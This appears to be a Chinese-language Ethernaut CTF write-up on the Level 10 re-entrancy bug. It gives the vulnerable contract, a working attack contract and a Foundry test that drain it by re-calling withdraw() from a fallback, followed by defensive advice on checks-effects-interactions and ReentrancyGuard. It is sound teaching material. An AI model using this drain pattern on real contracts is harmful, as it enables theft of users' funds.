# Ethernaut CTF Level 10 - Re-Entrancy
## 題目
這一關的目標是偷走合約的所有資產。
可能會有用的資訊
* 沒被信任的(untrusted)合約可以在你意料之外的地方執行程式碼
* fallback 方法
* 拋出(throw)/恢復(revert) 的通知
```solidity=
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.12;
import 'openzeppelin-contracts-06/math/SafeMath.sol';
contract Reentrance {
using SafeMath for uint256;
mapping(address => uint) public balances;
function donate(address _to) public payable {
balances[_to] = balances[_to].add(msg.value);
}
function balanceOf(address _who) public view returns (uint balance) {
return balances[_who];
}
function withdraw(uint _amount) public {
if(balances[msg.sender] >= _amount) {
(bool result,) = msg.sender.call{value:_amount}("");
if(result) {
_amount;
}
balances[msg.sender] -= _amount;
}
}
receive() external payable {}
}
```
<br>
## 分析
由於沒有check - effect - interaction所造成經典的ReEntrancy attack
在第21行中
`msg.sender.call` -> 當msg.sender並非是EOA Account,而是智能合約的時候
fallback 函數會被觸發
```
智能合約接收以太幣
│
├── 無 msg.callData
│ │
│ ├── receive() 存在
│ │ └── receive() 函數
│ │
│ └── receive() 不存在
│ └── fallback() 函數(如果存在)
│
└── 有 msg.callData
└── 調用 fallback() 函數(如果存在)
```
<br>
在fallback函數中,可以再度呼叫`Reentrance.withdraw()`
以此重新回來`msg.sender.call{value:_amount}`
- (會再度呼叫攻擊合約的fallback,以此類推)
在Reentrance帳戶餘額乾枯之前無限提取
<br>
## 攻擊
攻擊思路為
- 先Deposit一筆小金額
- 以此通過withdraw的check
```solidity=
if(balances[msg.sender] >= _amount)
```
- 接下來提取剛剛存入的金額
- 提取觸發`msg.sender.call`,同時`msg.sender`是個智能合約
- 攻擊合約fallback function再度呼叫`Reentrance.withdraw()`
```sol=
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
interface IReentrancy {
function donate(address _to) external payable;
function withdraw(uint _amount) external;
function balanceOf(address _who) external view returns (uint balance);
}
contract Attack {
address payable orgContract;
constructor(address payable _instanceAddr) payable {
orgContract = _instanceAddr;
}
uint256 public balance;
function setup() public payable {
IReentrancy(orgContract).donate{value: 0.0001 ether}(address(this));
IReentrancy(orgContract).withdraw(0.0001 ether);
}
// Fallback function used to accept ether
fallback() external payable {
balance = IReentrancy(orgContract).balanceOf(address(this));
if (balance > 0 ){
IReentrancy(orgContract).withdraw(balance);
}
}
}
```
<br>
## Foundry Test
```solidity=
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.6.12;
import "forge-std/Test.sol";
import "forge-std/Vm.sol";
import "../src/levels/10-Reentrance/Reentrance.sol";
contract ContractTest is Test {
Reentrance level10 =
Reentrance(payable(0x5735a2A814220133159A96b50ADb9B3cc0fC7c00));
function setUp() public {
Vm vm = Vm(address(0x7109709ECfa91a80626fF3989D68f67F5b1DD12D));
vm.createSelectFork(vm.rpcUrl("sepolia"));
vm.label(address(this), "Attacker");
vm.label(
address(0x5735a2A814220133159A96b50ADb9B3cc0fC7c00),
"Ethernaut10"
);
}
function testEthernaut10() public {
// before attack
uint256 balance_before = address(this).balance;
// attack
level10.donate{value: 0.001 ether}(address(this));
level10.withdraw(0.001 ether);
// after attack
uint256 balance_after = address(this).balance;
assert(balance_after > balance_before);
}
fallback() external payable {
level10.withdraw(0.001 ether);
}
}
```
<br>
## 補充
From Ethernaut
為了防止轉移資產時發生重入攻擊,使用 **Checks-Effects-Interactions** 模式
注意 call 只會回傳 false 而會不中斷執行。
也可以使用其它保護方案包含 ReentrancyGuard 或 PullPayment。
在 Istanbul 硬分叉之後,transfer 和 send 不再被推薦使用,因為它們可能會對合約造成潛在的風險
任何時候都要假設資產的接受方可能是另一個合約,而不是一個普通的地址(EOA)。因此,它有可能執行了它的 payable fallback 之後又「重新進入」你的合約,這可能會把你合約狀態、邏輯搞到爆炸。
重入攻擊是一種常見的攻擊。你得對相關攻擊做好準備!
### The DAO 駭入事件
著名的 The DAO 駭入事件使用了重入攻擊,從受害合約中竊取了大量的 ether。參見 15 lines of code that could have prevented TheDAO Hack。